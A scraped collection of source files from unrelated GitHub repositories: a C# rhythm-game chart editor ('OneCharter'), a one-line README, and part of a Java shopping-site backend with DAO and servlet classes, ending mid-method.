double segmentStartTime = 0.0d;
double lastStartTime = 0.0d;
int currSegmentInd = 0;
foreach (Segment segment in chart.Segments) {
lastStartTime = segmentStartTime;
double segmentEndTime = segmentStartTime + segment.Length;
if (time < segmentEndTime) {
// This location is in this segment.
double measureStartTime = segmentStartTime;
int currMeasureInd = 0;
foreach (Measure measure in segment.Measures) {
double measureEndTime = measureStartTime + segment.LengthOf(measure);
bool isThisLast = currSegmentInd == chart.Segments.Count - 1;
isThisLast = isThisLast && currMeasureInd == segment.Measures.Count - 1;
// This location is in this measure (or after the last measure)
if (isThisLast || time < measureEndTime) {
double measureOffset = time - measureStartTime;
double numBeats;
switch (measure) {
case BeatMeasure bMeasure:
numBeats = (measureOffset / segment.MSPW) * bMeasure.QuantBeat;
SetLocation(currSegmentInd, currMeasureInd, (int) numBeats,
(numBeats - (int) numBeats) / bMeasure.QuantBeat * segment.MSPW);
return;
case OffsetMeasure oMeasure:
numBeats = measureOffset / oMeasure.UnitLength;
SetLocation(currSegmentInd, currMeasureInd, (int) numBeats,
measureOffset - ((int) numBeats) * oMeasure.UnitLength);
return;
default:
throw new NotImplementedException();
}
}
measureStartTime = measureEndTime;
currMeasureInd++;
}
}
segmentStartTime = segmentEndTime;
currSegmentInd++;
}
// The last segment *should* be a BlankSegment
SetLocation(chart.Segments.Count - 1, 0, 0, time - lastStartTime);
}
#region Detecting and handling overflows / underflows
// Underflow checks are just a thin wrappers to simple sign checks.
private bool HasOverflow() {
// First apply the segmentIndex
ApplySegmentIndex();
if (HasMeasureOverflow()) return true;
// Then apply the measureIndex
ApplyMeasureIndex();
return HasBeatOverflow() || HasOffsetOverflow();
}
private bool HasUnderflow() {
// First apply the segmentIndex
ApplySegmentIndex();
if (HasMeasureUnderflow()) return true;
// Then apply the measureIndex
ApplyMeasureIndex();
return HasBeatUnderflow() || HasOffsetUnderflow();
}
private bool HasOffsetOverflow() {
return beatOffset >= UnitTime;
}
private bool HasOffsetUnderflow() {
return beatOffset < 0.0d;
}
private bool HasBeatOverflow() {
return !IsLastMeasure() && beat >= measure.TotalBeats;
}
private bool HasBeatUnderflow() {
return beat < 0;
}
private bool HasMeasureOverflow() {
return measureIndex >= segment.Measures.Count;
}
private bool HasMeasureUnderflow() {
return measureIndex < 0;
}
/// <summary>Normalize beatOffset, beat, and segmentIndex.</summary>
internal void NormalizeIndices() {
if (HasUnderflow()) HandleUnderflow();
if (HasOverflow()) HandleOverflow();
// measure and segment are applied through above methods.
}
/// <summary>Handles beatOffset, beat, and measureIndex overflows.</summary>
internal void HandleOverflow() {
// HasOverflow automatically applies segmentIndex and measureIndex.
while (HasOverflow()) {
// Order of these checks are important.
if (HasMeasureOverflow()) {
segmentIndex++;
measureIndex -= segment.Measures.Count;
continue;
}
if (HasBeatOverflow()) {
beat -= measure.TotalBeats;
measureIndex++;
continue;
}
if (HasOffsetOverflow()) {
beatOffset -= UnitTime; beat++;
continue;
}
}
}
/// <summary>Handles beatOffset, beat, measureIndex, and segmentIndex underflows.</summary>
internal void HandleUnderflow() {
// TODO: stop when underflows before 0
while (HasMeasureUnderflow()) {
segmentIndex--; ApplySegmentIndex();
measureIndex += segment.Measures.Count;
continue;
}
while (HasBeatUnderflow()) {
while (measureIndex == 0) {
segmentIndex--; ApplySegmentIndex();
measureIndex += segment.Measures.Count; ApplyMeasureIndex();
}
measureIndex--; ApplyMeasureIndex();
beat += measure.TotalBeats;
}
while (HasOffsetUnderflow()) {
throw new NotImplementedException();
}
}
#endregion Detecting and handling overflows / underflows
}
}
}```
Resources.Designer.cs
```//------------------------------------------------------------------------------
// <auto-generated>
// 이 코드는 도구를 사용하여 생성되었습니다.
// 런타임 버전:4.0.30319.42000
//
// 파일 내용을 변경하면 잘못된 동작이 발생할 수 있으며, 코드를 다시 생성하면
// 이러한 변경 내용이 손실됩니다.
// </auto-generated>
//------------------------------------------------------------------------------
namespace OneCharter.Properties {
using System;
/// <summary>
/// 지역화된 문자열 등을 찾기 위한 강력한 형식의 리소스 클래스입니다.
/// </summary>
// 이 클래스는 ResGen 또는 Visual Studio와 같은 도구를 통해 StronglyTypedResourceBuilder
// 클래스에서 자동으로 생성되었습니다.
// 멤버를 추가하거나 제거하려면 .ResX 파일을 편집한 다음 /str 옵션을 사용하여 ResGen을
// 다시 실행하거나 VS 프로젝트를 다시 빌드하십시오.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// 이 클래스에서 사용하는 캐시된 ResourceManager 인스턴스를 반환합니다.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("OneCharter.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// 이 강력한 형식의 리소스 클래스를 사용하여 모든 리소스 조회에 대한 현재 스레드의 CurrentUICulture
/// 속성을 재정의합니다.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap GCDualTapNote {
get {
object obj = ResourceManager.GetObject("GCDualTapNote", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap GCTapNote {
get {
object obj = ResourceManager.GetObject("GCTapNote", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconBox {
get {
object obj = ResourceManager.GetObject("IconBox", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconCog {
get {
object obj = ResourceManager.GetObject("IconCog", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconCogs {
get {
object obj = ResourceManager.GetObject("IconCogs", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconDownload {
get {
object obj = ResourceManager.GetObject("IconDownload", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconEraser {
get {
object obj = ResourceManager.GetObject("IconEraser", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconExit {
get {
object obj = ResourceManager.GetObject("IconExit", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFile {
get {
object obj = ResourceManager.GetObject("IconFile", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFileAdd {
get {
object obj = ResourceManager.GetObject("IconFileAdd", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFileCode {
get {
object obj = ResourceManager.GetObject("IconFileCode", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFileCog {
get {
object obj = ResourceManager.GetObject("IconFileCog", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFileRefresh {
get {
object obj = ResourceManager.GetObject("IconFileRefresh", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFileRemove {
get {
object obj = ResourceManager.GetObject("IconFileRemove", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFlipH {
get {
object obj = ResourceManager.GetObject("IconFlipH", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconFlipV {
get {
object obj = ResourceManager.GetObject("IconFlipV", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconGoEnd {
get {
object obj = ResourceManager.GetObject("IconGoEnd", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconGoStart {
get {
object obj = ResourceManager.GetObject("IconGoStart", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconInfo {
get {
object obj = ResourceManager.GetObject("IconInfo", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconMusic {
get {
object obj = ResourceManager.GetObject("IconMusic", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconNote {
get {
object obj = ResourceManager.GetObject("IconNote", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPause {
get {
object obj = ResourceManager.GetObject("IconPause", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPencil {
get {
object obj = ResourceManager.GetObject("IconPencil", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPill {
get {
object obj = ResourceManager.GetObject("IconPill", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPlay {
get {
object obj = ResourceManager.GetObject("IconPlay", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPlus {
get {
object obj = ResourceManager.GetObject("IconPlus", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPlusCircle {
get {
object obj = ResourceManager.GetObject("IconPlusCircle", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconPlusCircleO {
get {
object obj = ResourceManager.GetObject("IconPlusCircleO", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconQuestion {
get {
object obj = ResourceManager.GetObject("IconQuestion", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconSelEnd {
get {
object obj = ResourceManager.GetObject("IconSelEnd", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconSelStart {
get {
object obj = ResourceManager.GetObject("IconSelStart", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconStar {
get {
object obj = ResourceManager.GetObject("IconStar", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconStop {
get {
object obj = ResourceManager.GetObject("IconStop", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconUpload {
get {
object obj = ResourceManager.GetObject("IconUpload", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// System.Drawing.Bitmap 형식의 지역화된 리소스를 찾습니다.
/// </summary>
internal static System.Drawing.Bitmap IconWrench {
get {
object obj = ResourceManager.GetObject("IconWrench", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
}
}
```
HexaTimer.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Timers;
namespace OneCharter.Timing {
public class HexaTimer {
private Stopwatch stopwatch;
private Timer timer;
private bool isRunning;
public double Interval { get; set; }
public double StartTime { get; set; }
public bool IsRunning {
get => isRunning;
set {
if (value == isRunning) return;
if (value) Start();
else Stop();
}
}
public HexaTimer(double interval = 1000d/60) {
Interval = interval;
stopwatch = new Stopwatch();
timer = new Timer(interval);
timer.Elapsed += OnTimerTick;
timer.AutoReset = false;
isRunning = false;
}
public void Start(double startTime = 0) {
if (isRunning) {
Stop();
}
StartTime = startTime;
isRunning = true;
timer.Interval = Interval;
timer.Start();
stopwatch.Restart();
}
public void Stop() {
if (!isRunning) return;
stopwatch.Reset();
timer.Stop();
isRunning = false;
}
private void OnTimerTick(object sender, ElapsedEventArgs args) {
if (!isRunning) return;
HexaTickEventArgs hexaArgs = new HexaTickEventArgs();
long elapsed = stopwatch.ElapsedMilliseconds;
double currentTime = StartTime + elapsed;
hexaArgs.CurrentTime = currentTime;
hexaArgs.Elapsed = elapsed;
Tick?.Invoke(this, hexaArgs);
// It is possible that one of event handlers disabled this timer.
if (!isRunning) return;
timer.Interval = Interval;
timer.Start();
}
public event EventHandler<HexaTickEventArgs> Tick;
}
public class HexaTickEventArgs: EventArgs {
public double CurrentTime;
public long Elapsed;
}
}
```
Measure.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData
{
public abstract class Measure {
protected int groupBeats = 1;
protected int totalBeats = 0;
protected SortedList<int, ISet<Element>> elements = new SortedList<int, ISet<Element>>();
/// <summary>Gives pairs of (beat, element).</summary>
public IList<(int, Element)> Elements {
get {
var v = new List<(int, Element)>();
foreach (var kv in elements) {
foreach(Element element in kv.Value) {
v.Add((kv.Key, element));
}
}
return v;
}
}
public IList<int> Beats { get => elements.Keys; }
/// <summary>Total number of beats in this measure chunk.</summary>
public int TotalBeats { get => totalBeats; }
/// <summary>Number of beats per a measure</summary>
public int GroupBeats { get => groupBeats; }
/// <summary>Adds new measures to this measure group.</summary>
/// <param name="totalBeats">Desired amount of total beats</param>
internal void Extend(int totalBeats) {
if (totalBeats <= this.totalBeats) throw new InvalidOperationException("TotalBeats can't be reduced.");
if (totalBeats % groupBeats > 0) {
this.totalBeats = totalBeats - (totalBeats % groupBeats) + groupBeats;
} else {
this.totalBeats = totalBeats;
}
}
public void Add(int beat, Element element) {
Add(element, beat);
}
public void Add(Element element, int beat) {
if (elements.ContainsKey(beat)) {
ISet<Element> set = elements[beat];
bool noCollide = true;
foreach (Element e in set) {
if (Element.Collides(e, element)) {
noCollide = false; break;
}
}
if (noCollide) set.Add(element);
} else {
ISet<Element> set = new HashSet<Element>();
set.Add(element);
if (beat >= totalBeats) {
// Do NOT auto-extend the measure here!
throw new ArgumentOutOfRangeException($"Tried to put element at {beat} in a measure with size {totalBeats}.");
}
elements.Add(beat, set);
}
}
public void RemoveAt(int beat) {
elements.Remove(beat);
}
}
}
```
Chart.cs
```using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RGData {
/// <summary>A class representing a chart data, without any metadata.
/// Chart.Locations (obtained by CreateLocation) can be used to manipulate the chart.</summary>
public partial class Chart {
protected IList<Segment> segments;
public IList<Segment> Segments { get => segments; }
protected ISet<Location> locations;
/// <summary>Length of this chart in ms.</summary>
public double Length {
get {
double length = 0.0d;
foreach (Segment segment in segments) length += segment.Length;
return length;
}
}
public Chart() {
segments = new List<Segment>();
locations = new HashSet<Location>();
}
public Location CreateLocation() {
Location location = new Location(this);
locations.Add(location);
return location;
}
/// <summary>Adds a new segment to the end of this chart.</summary>
/// <param name="segment">The segment to be added.</param>
public void Append(Segment segment) {
segments.Add(segment);
// Move the location into this segment if necessary.
foreach (Location location in locations) {
if (location.IsLastMeasure()) {
location.HandleOverflow();
}
}
}
/// <summary>Adds a new measure to the end of this chart.</summary>
/// <param name="measure">The measure to be added.</param>
public void Append(Measure measure) {
if (segments.Count == 0) {
throw new InvalidOperationException("Tried to add a new measure to a chart without any segment!");
}
segments.Last().Append(measure);
// Move the location into this measure if necessary.
foreach (Location location in locations) {
if (location.IsLastMeasure()) {
location.HandleOverflow();
}
}
}
/// <summary>Add an element at specific location on this chart.</summary>
/// <param name="element">The element to be added.</param>
/// <param name="location">The location which the element will be added (beatOffset will be ignored!).</param>
public void InsertAt(Location location, Element element) {
if (location.IsLastMeasure() && (location.Segment is Segment tSeg)) {
// Extends the last measure.
Measure measure = location.Measure;
if (location.Beat >= measure.TotalBeats) {
ExtendMeasure(measure, location.Beat + 1);
}
}
location.Measure.Add(element, location.Beat);
}
/// <summary>Extends a measure the location is pointing.</summary>
/// <param name="location">The location which is pointing to the measure.</param>
/// <param name="totalBeats">New totalBeats for the selected measure.</param>
public void ExtendMeasureAt(Location location, int totalBeats) {
// End of another measure
if (location.IsAtBeginningOfAMeasure()) ExtendMeasure(location.LastMeasureBeforeThis(), totalBeats);
else ExtendMeasure(location.Measure, totalBeats);
}
/// <summary>Extends a measure.</summary>
/// <param name="measure">The measure which will be extended.</param>
/// <param name="totalBeats">New totalBeats for the selected measure.</param>
public void ExtendMeasure(Measure measure, int totalBeats) {
measure.Extend(totalBeats);
UpdateLocations();
}
/// <summary>Make the measure finer by increasing its quantBeat value.</summary>
/// <param name="location">The location which is pointing to the measure.</param>
/// <param name="fineQuantBeat">The desired quantBeat for the measure.</param>
public void FineMeasureAt(Location location, int fineQuantBeat) {
FineMeasure(location.Measure, fineQuantBeat);
}
/// <summary>Make the measure finer by increasing its quantBeat value.</summary>
/// <param name="measure">The measure which will be made finer.</param>
/// <param name="fineQuantBeat">The desired quantBeat for the measure.</param>
public void FineMeasure(Measure measure, int fineQuantBeat) {
throw new NotImplementedException();
}
/// <summary>
/// Insert a given measure at the given location.
/// Currently contents in the measure will NOT be added.
/// </summary>
/// <param name="location">The location which the measure will be added.</param>
/// <param name="measure">The measure to be added.</param>
public void InsertAt(Location location, Measure measure) {
if (location.IsLastMeasure() && location.beat >= location.Measure.TotalBeats) {
// Append a measure to the end of the chart.
throw new NotImplementedException();
}
// TODO: do not split if the current measure can be extended to accommondate new measure.
SplitMeasureAt(location);
// Indices for the new measure.
Segment targetSegment = location.Segment;
int targetSegmentIndex = location.segmentIndex;
int targetMeasureIndex = location.measureIndex;
if (location.measureIndex == 0 && targetSegmentIndex > 0) {
targetSegment = segments[--targetSegmentIndex];
targetMeasureIndex = targetSegment.Measures.Count;
}
targetSegment.Measures.Insert(targetMeasureIndex, measure);
foreach(Location loc in locations) {
if(loc.segmentIndex == targetSegmentIndex && loc.measureIndex >= targetMeasureIndex) {
loc.measureIndex++;
}
loc.NormalizeIndices();
loc.RecomputeTime();
}
}
/// <summary>Split a measure into two or many measures, cut at the given measure.</summary>
/// <param name="location">The location which will be used to cut a measure.</param>
public void SplitMeasureAt(Location location) {
// No need to split.
if (location.IsAtBeginningOfAMeasure()) return;
throw new NotImplementedException();
}
/// <summary>Normalize indices and recompute times for all locations.</summary>
protected void UpdateLocations() {
foreach(Location location in locations) {
location.NormalizeIndices();
location.RecomputeTime();
}
}
}
}
```
EditorForm.cs
```using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using RGData;
namespace OneCharter {
public partial class EditorForm : Form {
private EditView editView;
private MeasureEditForm measureEditForm;
/// <summary>Map from int (numpad key) to GC elements (to insert)</summary>
private static readonly Func<Element>[] GCShortkeyElements = {
() => null,
() => new RGData.GC.GCTapNote(),
() => new RGData.GC.GCDualTapNote()
};
public EditorForm() {
InitializeComponent();
measureEditForm = new MeasureEditForm();
KeyPreview = true;
DoubleBuffered = true;
SetStyle(ControlStyles.OptimizedDoubleBuffer, true);
UpdateStyles();
editView = new EditView(this);
editView.StartPlaying += EditView_StartPlaying;
editView.StopPlaying += EditView_StopPlaying;
}
/// <summary>Toggles play/stop of the editor.</summary>
public void TogglePlay() {
if (editView.IsPlaying) {
editView.Pause();
} else {
editView.Play();
}
}
/// <summary>Shows the measure creation dialogue, then returns the measure.</summary>
/// <returns>A new measure, or null if the user decided not to create a new measure.</returns>
private Measure GetANewMeasure() {
// Sets the measureEditForm to create mode.
measureEditForm.Measure = null;
// Shows the dialog
DialogResult result = measureEditForm.ShowDialog(this);
if (result != DialogResult.OK) return null;
return measureEditForm.Measure;
}
public void TryCreateMeasure() {
Measure measure = GetANewMeasure();
if (measure == null) return;
editView.InsertMeasure(measure);
}
#region Events
private void EditView_StopPlaying(object sender, EventArgs e) {
playStopButton.Image = Properties.Resources.IconPlay;
playStopButton.Text = "Play";
}
private void EditView_StartPlaying(object sender, EventArgs e) {
playStopButton.Image = Properties.Resources.IconPause;
playStopButton.Text = "Pause";
}
private void aboutOneCharterToolStripMenuItem_Click(object sender, EventArgs e) {
AboutBox aboutBox = new AboutBox();
aboutBox.ShowDialog(this);
}
private void EditorForm_Resize(object sender, EventArgs e) {
// editorPanel.Refresh();
}
private void playStopButton_Click(object sender, EventArgs e) {
TogglePlay();
}
private void EditorForm_KeyDown(object sender, KeyEventArgs e) {
if(Keys.D0 <= e.KeyCode && e.KeyCode <= Keys.D9) {
int index = e.KeyCode - Keys.D0;
if(index < GCShortkeyElements.Length) {
Element element = GCShortkeyElements[index]();
if (element != null) editView.AddElement(element);
editView.NextBeat();
return;
}
}
switch (e.KeyCode) {
case HotKey.TogglePlay:
TogglePlay();
break;
case HotKey.Delete:
editView.RemoveElementsAtCursor();
break;
case HotKey.DeleteAndGoBack:
editView.RemoveElementsAtCursor();
editView.PrevBeat();
break;
case Keys.Down:
editView.PrevBeat();
break;
case Keys.Up:
editView.NextBeat();
break;
}
}
private void deleteCurrentItemToolStripMenuItem_Click(object sender, EventArgs e) {
editView.RemoveElementsAtCursor();
}
private void EditorForm_Load(object sender, EventArgs e) {
}
private void closeToolStripMenuItem_Click(object sender, EventArgs e) {
// TODO: Ask to save an unsaved file
Application.Exit();
}
private void tapToolStripMenuItem_Click(object sender, EventArgs e) {
editView.AddElement(new RGData.GC.GCTapNote());
}
private void dualTapToolStripMenuItem_Click(object sender, EventArgs e) {
editView.AddElement(new RGData.GC.GCDualTapNote());
}
private void measureToolStripMenuItem_Click(object sender, EventArgs e) {
TryCreateMeasure();
}
#endregion
}
}
```
|
123usa/jan2019
|
123usa/jan2019
README.md
```# jan2019
this is a java project
this is Github project
this is good one
```
|
123wdd/GuiMeiShopping
|
123wdd/GuiMeiShopping
DiscountServiceDaoImpl.java
```package service.impl;
import Dao.impl.DiscountDaoImpl;
import pojo.Discount;
import pojo.page;
import service.DiscountServiceDao;
public class DiscountServiceDaoImpl implements DiscountServiceDao {
private static DiscountServiceDaoImpl ourInstance = new DiscountServiceDaoImpl();
public static DiscountServiceDaoImpl getInstance() {
return ourInstance;
}
private DiscountServiceDaoImpl() {
}
private DiscountDaoImpl discountDao=new DiscountDaoImpl();
public page<Discount> disPageQueryAll(int pageNumber, int pageSize) {
return discountDao.disPageQueryAll(pageNumber,pageSize);
}
public int delDis(String id) {
return discountDao.delDis(id);
}
}
```
BigclassDaoImpl.java
```package Dao.impl;
import Dao.BaseDao;
import Dao.BigclassDao;
import core.pageUtil;
import pojo.Bigclass;
import pojo.page;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class BigclassDaoImpl extends BaseDao implements BigclassDao {
public page<Bigclass> bigPageQueryAll(int pageNumber, int pageSize) {
page<Bigclass> Bpage=new page<Bigclass>();
Bpage.setPageNumber(pageNumber);
Bpage.setPageSize(pageSize);
String sql="SELECT COUNT(1) from bigclass ";
String sql2="select * from bigclass";
Bpage.setTotalRecode(pageUtil.getTotalRecode(sql,null));
List<Bigclass> list=new ArrayList<Bigclass>();
ResultSet rs=pageUtil.getPageDate(sql2,pageSize,pageNumber,null);
try{
while(rs.next()){
Bigclass b=new Bigclass();
b.setId(rs.getLong("id"));
b.setBigName(rs.getString("bigName"));
b.setBigText(rs.getString("bigText"));
list.add(b);
}
}catch (SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
Bpage.setPageData(list);
return Bpage;
}
public int delBig(String id) {
String sql="DELETE FROM bigclass where id=? and id not IN (select smallclass.smallBigId FROM smallclass) ";
Object[]par={id};
return getUpdate(sql,par);
}
public int updateById(Bigclass big) {
String sql="update bigclass set id=?,bigName=?,bigText=? where id=?";
Object[]par={big.getId(),big.getBigName(),big.getBigText(),big.getId()};
return getUpdate(sql,par);
}
public Bigclass queryById(String id) {
String sql="select * from bigclass where id=?";
Object[]par={id};
ResultSet rs=getQuery(sql,par);
Bigclass b=null;
try{
while(rs.next()){
b=new Bigclass();
b.setId(rs.getLong("id"));
b.setBigName(rs.getString("bigName"));
b.setBigText(rs.getString("bigText"));
}
return b;
}catch (SQLException e){
e.printStackTrace();
}finally {
}
return null;
}
public int addBig(Bigclass big) {
String sql="INSERT IGNORE INTO bigclass VALUE(?,?,?)";
Object[]par={big.getId(),big.getBigName(),big.getBigText()};
return getUpdate(sql,par);
}
}
```
goodsServlet.java
```package Servlet;
import pojo.*;
import service.impl.GoodsServiceDaoImpl;
import service.impl.SellerServiceDaoIMpl;
import service.impl.SmallClassServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.List;
@WebServlet(name = "goodsServlet",urlPatterns = "/doGoods")
public class goodsServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取goodsService的对象
GoodsServiceDaoImpl goodsServiceDao=GoodsServiceDaoImpl.getInstance();
SellerServiceDaoIMpl seldao=SellerServiceDaoIMpl.getInstance();
SmallClassServiceDaoImpl sma=SmallClassServiceDaoImpl.getInstance();
String action=request.getParameter("action");
if (action!=null && action.equals("queryGoods")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<goodsSmaSell> page=goodsServiceDao.goodsPageQueryAll(pageNumber,pageSize);
session.setAttribute("Page", page);
